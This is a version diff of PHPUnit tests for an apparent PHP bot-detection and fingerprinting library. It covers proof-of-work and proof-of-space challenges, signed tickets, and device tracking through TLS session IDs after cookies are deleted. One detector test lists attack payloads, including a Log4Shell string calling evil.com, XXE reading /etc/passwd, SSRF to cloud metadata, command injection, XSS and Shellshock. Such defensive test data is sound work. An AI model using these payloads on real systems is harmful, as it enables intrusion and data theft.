@anonympins/fingerprint 0.4.5 → 0.5.0

package/src/php/Tests/ChallengeUtilsTest.php

@@ -1,82 +1,209 @@
-<?php
-
-declare(strict_types=1);
-
-namespace Anonympins\Fingerprint\Tests;
-
-use Anonympins\Fingerprint\Challenge\ChallengeUtils;
-use Anonympins\Fingerprint\Utils\BigInt;
-use PHPUnit\Framework\TestCase;
-
-class ChallengeUtilsTest extends TestCase
-{
-    protected function setUp(): void
-    {
-        // Définir une clé secrète pour les tests
-        $_ENV['POW_SECRET'] = 'test-secret-key-that-is-long-enough-for-hmac';
-    }
-
-    public function testIsTicketValid(): void
-    {
-        $ip = '127.0.0.1';
-        $expiry = (int)floor(microtime(true) * 1000) + 3600000; // 1 heure
-        $signature = hash_hmac('sha256', "{$ip}:{$expiry}", $_ENV['POW_SECRET']);
-        $validTicket = "{$expiry}:{$signature}";
-
-        $this->assertTrue(ChallengeUtils::isTicketValid($ip, $validTicket));
-        $this->assertFalse(ChallengeUtils::isTicketValid('192.168.1.1', $validTicket), "Le ticket ne doit pas être valide pour une autre IP.");
-
-        $expiredExpiry = (int)floor(microtime(true) * 1000) - 1000;
-        $expiredSignature = hash_hmac('sha256', "{$ip}:{$expiredExpiry}", $_ENV['POW_SECRET']);
-        $expiredTicket = "{$expiredExpiry}:{$expiredSignature}";
-        $this->assertFalse(ChallengeUtils::isTicketValid($ip, $expiredTicket), "Un ticket expiré doit être invalide.");
-
-        $this->assertFalse(ChallengeUtils::isTicketValid($ip, 'invalid-ticket-format'), "Un format de ticket invalide doit être rejeté.");
-    }
-
-    public function testCpuTargetCalculation(): void
-    {
-        $config = ['cpu' => ['minDifficultyBits' => 8, 'maxDifficultyBits' => 24]];
-
-        // Low suspicion -> minimum difficulty
-        $targetLow = ChallengeUtils::calculateCpuTarget(0.0, $config);
-        $expectedTargetLow = (new BigInt(1))->shiftLeft(256 - 8);
-        $this->assertEquals(0, BigInt::fromHex($targetLow)->compareTo($expectedTargetLow), "Target for 0.0 suspicion should correspond to 8 bits of difficulty.");
-
-        // High suspicion -> maximum difficulty
-        $targetHigh = ChallengeUtils::calculateCpuTarget(1.0, $config);
-        $expectedTargetHigh = (new BigInt(1))->shiftLeft(256 - 24);
-        $this->assertEquals(0, BigInt::fromHex($targetHigh)->compareTo($expectedTargetHigh), "Target for 1.0 suspicion should correspond to 24 bits of difficulty.");
-
-        // Medium suspicion -> intermediate difficulty
-        $targetMid = ChallengeUtils::calculateCpuTarget(0.5, $config);
-        $expectedBits = 8 + 0.5 * (24 - 8); // 16 bits
-        $expectedTargetMid = (new BigInt(1))->shiftLeft(256 - (int)$expectedBits);
-        $this->assertEquals(0, BigInt::fromHex($targetMid)->compareTo($expectedTargetMid), "Target for 0.5 suspicion should correspond to 16 bits of difficulty.");
-    }
-
-    public function testVerifyCpuTargetPoW(): void
-    {
-        $ip = '127.0.0.1';
-        $nonce = 'test-nonce';
-        $fingerprint = 'ua:test-fp';
-        $clientSecret = 'test-secret';
-        $baseBlock = ChallengeUtils::createCpuChallengeBaseBlock($nonce, $clientSecret, $fingerprint);
-
-        // Cible facile pour un test rapide (ex: 4 zéros hexadécimaux -> 16 bits)
-        $targetHex = '0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
-        $challengeContext = ['cpuTarget' => $targetHex, 'baseBlock' => $baseBlock];
-
-        // Trouver une solution valide
-        $solution = 0;
-        while (true) {
-            $hash = hash('sha256', $baseBlock . $solution);
-            if (strcmp($hash, $targetHex) < 0) break;
-            $solution++;
-        }
-
-        $ticket = ChallengeUtils::verifyCpuTargetPoWAndGenerateTicket($ip, 3600, $nonce, (string)$solution, $challengeContext);
-        $this->assertNotNull($ticket, "Un ticket valide aurait dû être généré.");
-        $this->assertTrue(ChallengeUtils::isTicketValid($ip, $ticket));
-    }
+<?php
+
+declare(strict_types=1);
+
+namespace Anonympins\Fingerprint\Tests;
+
+use Anonympins\Fingerprint\Challenge\ChallengeUtils;
+use Anonympins\Fingerprint\Utils\BigInt;
+use PHPUnit\Framework\TestCase;
+
+class ChallengeUtilsTest extends TestCase
+{
+    protected function setUp(): void
+    {
+        // Définir une clé secrète pour les tests
+        $_ENV['POW_SECRET'] = 'test-secret-key-that-is-long-enough-for-hmac';
+    }
+
+    public function testZkpProofValidation(): void
+    {
+        $fp = 'cvs:12345|gpu:67890';
+        $p = BigInt::fromHex('fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f');
+        $g = new BigInt(2);
+
+        $x = BigInt::fromHex(hash('sha256', $fp))->mod($p);
+        $y = $g->modPow($x, $p);
+        $v = new BigInt(987654321);
+        $t = $g->modPow($v, $p);
+
+        $cStr = (string)$g . (string)$y . (string)$t;
+        $c = BigInt::fromHex(hash('sha256', $cStr))->mod($p);
+        $s = $v->add($c->mul($x))->mod($p->sub(new BigInt(1)));
+
+        $zkpProof = $y->toHex() . ':' . $t->toHex() . ':' . $s->toHex();
+        $this->assertTrue(ChallengeUtils::verifyZkpProof($y->toHex(), $t->toHex(), $s->toHex()));
+
+        $ticket = ChallengeUtils::generateStatelessTicket([
+            'expiry' => (time() + 3600) * 1000,
+            'originalIp' => '127.0.0.1',
+            'deviceId' => 'dev-zkp',
+            'deviceHash' => 'zkp:' . $y->toHex()
+        ]);
+
+        $this->assertTrue(ChallengeUtils::isTicketValid('127.0.0.1', $ticket, 'dev-zkp', '', false, '', $zkpProof));
+    }
+
+    public function testIsTicketValid(): void
+    {
+        $ip = '127.0.0.1';
+        $expiry = (int)floor(microtime(true) * 1000) + 3600000; // 1 heure
+        $signature = hash_hmac('sha256', "{$ip}:{$expiry}", $_ENV['POW_SECRET']);
+        $validTicket = "{$expiry}:{$signature}";
+
+        $this->assertTrue(ChallengeUtils::isTicketValid($ip, $validTicket));
+        $this->assertFalse(ChallengeUtils::isTicketValid('192.168.1.1', $validTicket), "Le ticket ne doit pas être valide pour une autre IP.");
+
+        $expiredExpiry = (int)floor(microtime(true) * 1000) - 1000;
+        $expiredSignature = hash_hmac('sha256', "{$ip}:{$expiredExpiry}", $_ENV['POW_SECRET']);
+        $expiredTicket = "{$expiredExpiry}:{$expiredSignature}";
+        $this->assertFalse(ChallengeUtils::isTicketValid($ip, $expiredTicket), "Un ticket expiré doit être invalide.");
+
+        $this->assertFalse(ChallengeUtils::isTicketValid($ip, 'invalid-ticket-format'), "Un format de ticket invalide doit être rejeté.");
+    }
+
+    public function testCpuTargetCalculation(): void
+    {
+        $config = ['cpu' => ['minDifficultyBits' => 8, 'maxDifficultyBits' => 24]];
+
+        // Low suspicion -> minimum difficulty
+        $targetLow = ChallengeUtils::calculateCpuTarget(0.0, $config);
+        $expectedTargetLow = (new BigInt(1))->shiftLeft(256 - 8);
+        $this->assertEquals(0, BigInt::fromHex($targetLow)->compareTo($expectedTargetLow), "Target for 0.0 suspicion should correspond to 8 bits of difficulty.");
+
+        // High suspicion -> maximum difficulty
+        $targetHigh = ChallengeUtils::calculateCpuTarget(1.0, $config);
+        $expectedTargetHigh = (new BigInt(1))->shiftLeft(256 - 24);
+        $this->assertEquals(0, BigInt::fromHex($targetHigh)->compareTo($expectedTargetHigh), "Target for 1.0 suspicion should correspond to 24 bits of difficulty.");
+
+        // Medium suspicion -> intermediate difficulty
+        $targetMid = ChallengeUtils::calculateCpuTarget(0.5, $config);
+        $expectedBits = 8 + 0.5 * (24 - 8); // 16 bits
+        $expectedTargetMid = (new BigInt(1))->shiftLeft(256 - (int)$expectedBits);
+        $this->assertEquals(0, BigInt::fromHex($targetMid)->compareTo($expectedTargetMid), "Target for 0.5 suspicion should correspond to 16 bits of difficulty.");
+    }
+
+    public function testVerifyCpuTargetPoW(): void
+    {
+        $ip = '127.0.0.1';
+        $nonce = 'test-nonce';
+        $fingerprint = 'ua:test-fp';
+        $clientSecret = 'test-secret';
+        $baseBlock = ChallengeUtils::createCpuChallengeBaseBlock($nonce, $clientSecret, $fingerprint);
+
+        // Cible facile pour un test rapide (ex: 4 zéros hexadécimaux -> 16 bits)
+        $targetHex = '0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
+        $challengeContext = ['cpuTarget' => $targetHex, 'baseBlock' => $baseBlock];
+
+        // Trouver une solution valide
+        $solution = 0;
+        while (true) {
+            $hash = hash('sha256', $baseBlock . $solution);
+            if (strcmp($hash, $targetHex) < 0) break;
+            $solution++;
+        }
+
+        $ticket = ChallengeUtils::verifyCpuTargetPoWAndGenerateTicket($ip, 3600, $nonce, (string)$solution, $challengeContext);
+        $this->assertNotNull($ticket, "Un ticket valide aurait dû être généré.");
+        $this->assertTrue(ChallengeUtils::isTicketValid($ip, $ticket));
+    }
+
+    public function testEd25519TicketValidation(): void
+    {
+        if (!extension_loaded('openssl')) {
+            $this->markTestSkipped('openssl extension is not loaded.');
+        }
+
+        if (!defined('OPENSSL_KEYTYPE_ED25519')) {
+            $this->markTestSkipped('Ed25519 is not supported or constant OPENSSL_KEYTYPE_ED25519 is undefined in this PHP/OpenSSL environment.');
+        }
+
+        $pkey = @openssl_pkey_new(["private_key_type" => constant('OPENSSL_KEYTYPE_ED25519')]);
+        if (!$pkey) {
+            $this->markTestSkipped('Ed25519 is not supported in this PHP/OpenSSL environment.');
+        }
+
+        openssl_pkey_export($pkey, $privateKeyPem);
+        $details = openssl_pkey_get_details($pkey);
+        $publicKeyPem = $details['key'];
+
+        // Test if openssl_sign supports null algorithm for Ed25519 (PHP 8.0.0 bug)
+        $testSig = '';
+        $testPriv = @openssl_pkey_get_private($privateKeyPem);
+        try {
+            if (!$testPriv || !@openssl_sign('test', $testSig, $testPriv, null)) {
+                $this->markTestSkipped('Ed25519 signing is not fully supported or buggy in this PHP/OpenSSL environment.');
+            }
+        } catch (\TypeError $e) {
+            $this->markTestSkipped('Ed25519 signing is not supported due to PHP 8.0.0 openssl_sign() null algorithm bug.');
+        }
+
+        $_ENV['ED25519_PRIVATE_KEY'] = $privateKeyPem;
+        $_ENV['ED25519_PUBLIC_KEY'] = $publicKeyPem;
+
+        $ip = '127.0.0.1';
+        $expiry = (int)floor(microtime(true) * 1000) + 3600000;
+        $payload = [
+            'expiry' => $expiry,
+            'originalIp' => $ip,
+            'deviceId' => 'device-123',
+            'deviceHash' => 'hash-abc'
+        ];
+
+        $ticket = ChallengeUtils::generateStatelessTicket($payload);
+        $this->assertStringStartsWith('ed25519.', $ticket);
+
+        $this->assertTrue(ChallengeUtils::isTicketValid($ip, $ticket, 'device-123', 'hash-abc'));
+        $this->assertFalse(ChallengeUtils::isTicketValid('192.168.1.1', $ticket, 'device-123', 'hash-abc'));
+
+        unset($_ENV['ED25519_PRIVATE_KEY'], $_ENV['ED25519_PUBLIC_KEY']);
+    }
+
+    public function testCooperativePoSpaceWorkflow(): void
+    {
+        $clientIp = '127.0.0.1';
+        $nodeIdA = 'node-a';
+        $seedA = 'seed-a';
+        
+        // 1. Enregistrement du nœud A (pair)
+        ChallengeUtils::registerCooperativeNode($clientIp, $nodeIdA, $seedA);
+        
+        // 2. Recherche de pair pour le nœud B (dans le même sous-réseau)
+        $peer = ChallengeUtils::findPeerInSubnet($clientIp, 'node-b');
+        $this->assertNotNull($peer);
+        $this->assertEquals($nodeIdA, $peer['nodeId']);
+        $this->assertEquals($seedA, $peer['seed']);
+        
+        // 3. Demande de bloc du nœud B vers le nœud A
+        $paramsReq = [
+            'coop_op' => 'request_peer_block',
+            'node_id' => 'node-b',
+            'peer_id' => 'node-a',
+            'block_idx' => '42',
+            'req_id' => 'req-123'
+        ];
+        $resReq = ChallengeUtils::handleCooperativeRequest($paramsReq);
+        $this->assertEquals('queued', $resReq['status']);
+        
+        // 4. Récupération de la demande par le nœud A
+        $paramsPoll = [
+            'coop_op' => 'poll_requests',
+            'node_id' => 'node-a'
+        ];
+        $resPoll = ChallengeUtils::handleCooperativeRequest($paramsPoll);
+        $this->assertCount(1, $resPoll['requests']);
+        $this->assertEquals('req-123', $resPoll['requests'][0]['req_id']);
+        $this->assertEquals(42, $resPoll['requests'][0]['block_idx']);
+        
+        // 5. Réponse avec la donnée de bloc par le nœud A
+        $paramsResp = [
+            'coop_op' => 'respond_block',
+            'node_id' => 'node-a',
+            'requester_id' => 'node-b',
+            'req_id' => 'req-123',
+            'block_data' => 'dummy-block-data-xyz'
+        ];
+        $resResp = ChallengeUtils::handleCooperativeRequest($paramsResp);
+        $this->assertEquals('delivered', $resResp['status']);
+    }
 }

package/src/php/Tests/FingerprintEngineTest.php

@@ -10,6 +10,7 @@ use Anonympins\Fingerprint\FingerprintEngine;
 use Anonympins\Fingerprint\RequestContext;
 use Anonympins\Fingerprint\Store\InMemoryStore;
 use Anonympins\Fingerprint\Store\StoreManager;
+use Anonympins\Fingerprint\Challenge\ChallengeUtils;
 use PHPUnit\Framework\TestCase;
 
 class FingerprintEngineTest extends TestCase
@@ -90,6 +91,35 @@ class FingerprintEngineTest extends TestCase
         $this->assertLessThan($this->securityConfig['thresholds']['low'], $secondDecision['score']);
     }
 
+    public function testTlsSessionResumptionCookielessTracking(): void
+    {
+        // 1. Première requête d'un client avec un ID de session TLS, sans cookie
+        $tlsSessionId = 'test-tls-1.3-session-resumption-id-12345';
+        $context1 = $this->createRequestContext([
+            'headers' => [
+                'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
+                'x-tls-session-id' => $tlsSessionId,
+            ]
+        ]);
+
+        $firstDecision = $this->engine->processRequest($context1);
+        $this->assertArrayHasKey('newCookieForResponse', $firstDecision, "Un cookie d'identité d'appareil doit être généré.");
+        $deviceId = $firstDecision['newCookieForResponse']['value'];
+
+        // 2. Deuxième requête : le client supprime ses cookies, mais garde la même session TLS (Session Resumption / 0-RTT)
+        $context2 = $this->createRequestContext([
+            'headers' => [
+                'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
+                'x-tls-session-id' => $tlsSessionId,
+            ],
+            'cookies' => [] // Cookies supprimés !
+        ]);
+
+        $secondDecision = $this->engine->processRequest($context2);
+        $this->assertEquals('next', $secondDecision['action']);
+        $this->assertArrayNotHasKey('newCookieForResponse', $secondDecision, "Aucun nouveau cookie d'identité ne doit être généré car la session TLS a permis de restaurer l'identité.");
+    }
+
     public function testIssuesChallengeForSuspiciousRequest(): void
     {
         // 1. First, establish a device identity to avoid the cookie-dropping penalty
@@ -354,4 +384,79 @@ class FingerprintEngineTest extends TestCase
         // Le poids de tcpAnomalyScore dans le profil balanced est de 0.8 (80 * 0.8 = 64)
         $this->assertGreaterThanOrEqual(64.0, $decision['score']);
     }
+
+    public function testDetectsAndVerifiesSpaceChallenge(): void
+    {
+        $store = StoreManager::getStore();
+        
+        $config = SecurityProfiles::createSecurityProfile('balanced', [
+            'enableProofOfSpace' => true,
+            'pospace' => [
+                'sizeMb' => 1,
+                'numQueries' => 5
+            ],
+            'challengeNewDevices' => false,
+        ]);
+        
+        $engine = $this->getMockBuilder(FingerprintEngine::class)
+            ->setConstructorArgs([$config])
+            ->onlyMethods(['calculateFinalScore'])
+            ->getMock();
+        $engine->method('calculateFinalScore')->willReturn(30.0);
+        
+        $headers = [
+            'user-agent' => 'A normal browser',
+            'accept-language' => 'en-US,en;q=0.9',
+        ];
+        
+        // 1. Première requête provoquant un challenge
+        $context = $this->createRequestContext([
+            'headers' => $headers
+        ]);
+        
+        $decision = $engine->processRequest($context);
+        $this->assertEquals('challenge', $decision['action']);
+        
+        $html = $decision['body'];
+        $this->assertStringContainsString('initializeSpace', $html);
+        
+        preg_match('/const nonce = "(.*?)";/', $html, $matchesNonce);
+        preg_match('/const clientSecret = "(.*?)";/', $html, $matchesSecret);
+        preg_match('/const queries = (\[.*?\]);/', $html, $matchesQueries);
+        
+        $nonce = $matchesNonce[1];
+        $clientSecret = $matchesSecret[1];
+        $queries = json_decode($matchesQueries[1], true);
+        
+        // 2. Résoudre le challenge
+        $combined = '';
+        foreach ($queries as $idx) {
+            $combined .= $this->callPrivateGenerateBlock($nonce . ":" . $clientSecret, (int)$idx);
+        }
+        $finalBlock = $combined . $nonce . ":" . $clientSecret;
+        $solution = hash('sha256', $finalBlock);
+        
+        // 3. Soumettre le challenge
+        $submitContext = $this->createRequestContext([
+            'headers' => $headers,
+            'query' => [
+                'pow_type' => 'pospace',
+                'pow_nonce' => $nonce,
+                'pow_solution_space' => $solution
+            ]
+        ]);
+        
+        $engineReal = new FingerprintEngine($config);
+        $submitDecision = $engineReal->processRequest($submitContext);
+        $this->assertEquals('redirect', $submitDecision['action']);
+        $this->assertArrayHasKey('cookie', $submitDecision);
+        $this->assertEquals('pow_clearance', $submitDecision['cookie']['name']);
+    }
+
+    private function callPrivateGenerateBlock(string $seed, int $blockIndex): string
+    {
+        $ref = new \ReflectionClass(ChallengeUtils::class);
+        $method = $ref->getMethod('generateBlock');
+        return $method->invoke(null, $seed, $blockIndex);
+    }
 }

package/src/php/Tests/MaliciousPatternsTest.php

@@ -0,0 +1,104 @@
+<?php
+
+declare(strict_types=1);
+
+namespace Anonympins\Fingerprint\Tests;
+
+use Anonympins\Fingerprint\Utils\MaliciousPatterns;
+use PHPUnit\Framework\TestCase;
+
+class MaliciousPatternsTest extends TestCase
+{
+    /**
+     * @dataProvider maliciousProvider
+     */
+    public function testIsMaliciousDetectsThreats(string $payload, bool $expected): void
+    {
+        $this->assertSame($expected, MaliciousPatterns::isMalicious($payload));
+    }
+
+    /**
+     * @dataProvider openRedirectProvider
+     */
+    public function testIsMaliciousDetectsOpenRedirect(string $payload, bool $expected): void
+    {
+        $this->assertSame($expected, MaliciousPatterns::isMalicious($payload, ['openRedirect']));
+    }
+
+    public function maliciousProvider(): array
+    {
+        return [
+            // SQL Injections
+            ["' OR '1'='1", true],
+            ["UNION SELECT username, password FROM users", true],
+            ["normal text with no SQL", false],
+
+            // Log4Shell
+            ['${jndi:ldap://evil.com/a}', true],
+            ['normal log ${user.name}', false],
+
+            // SSTI
+            ['{{ 7*7 }}', true],
+            ['{% if user.isAdmin %}', true],
+            ['simple {braces}', false],
+
+            // XXE
+            ['<!ENTITY xxe SYSTEM "file:///etc/passwd">', true],
+            ['<!DOCTYPE html>', false],
+
+            // Path Traversal
+            ['../../etc/passwd', true],
+            ['..\\..\\win.ini', true],
+            ['normal/path/to/file', false],
+
+            // RCE
+            ['`whoami`', true],
+            ['; ping -c 4 8.8.8.8', true],
+            ['normal ping command desc', false],
+
+            // SSRF
+            ['http://127.0.0.1/admin', true],
+            ['https://localhost:8443', true],
+            ['http://169.254.169.254/latest/meta-data', true],
+            ['https://google.com', false],
+
+            // CRLF
+            ["test\r\nHeader: value", true],
+            ["%0d%0aHeader: value", true],
+            ["clean string", false],
+
+            // XSS
+            ['<script>alert(1)</script>', true],
+            ['javascript:alert(1)', true],
+            ['<img src=x onerror=alert(1)>', true],
+            ['<b>bold text</b>', false],
+
+            // LFI/RFI
+            ['etc/passwd', true],
+            ['win.ini', true],
+            ['php://filter/resource=index.php', true],
+            ['normal_file.txt', false],
+
+            // Shellshock
+            ['() { :; }; echo "Vulnerable"', true],
+            ['() { :;};', true],
+            ['function test() {}', false],
+
+            // NoSQL Operator Injection
+            ['$gt', true],
+            ['$elemMatch', true],
+            ['$where', true],
+            ['This is $10', false],
+        ];
+    }
+
+    public function openRedirectProvider(): array
+    {
+        return [
+            ['https://evil.com/redirect', true],
+            ['//malicious-site.com', true],
+            ['/local/path', false],
+            ['http://localhost/dashboard', false],
+        ];
+    }
+}

package/src/php/Tests/RequestUtilsTest.php

@@ -35,6 +35,19 @@ class RequestUtilsTest extends TestCase
         );
     }
 
+    public function testGetCrossLayerInconsistencyViewportExceedsScreen(): void
+    {
+        $scrHash = FingerprintBuilder::cyrb53("1920x1080_24");
+        $context = $this->createRequestContext([
+            'headers' => [
+                'x-device-fingerprint' => "scr:{$scrHash}",
+                'sec-ch-viewport-width' => '2560'
+            ]
+        ]);
+
+        $score = RequestUtils::getCrossLayerInconsistency($context);
+        $this->assertEquals(20.0, $score['crossLayerInconsistencyScore']);
+    }
     public function testGetClickVarianceScoreReturnsZeroForNoHistory(): void
     {
         $context = $this->createRequestContext([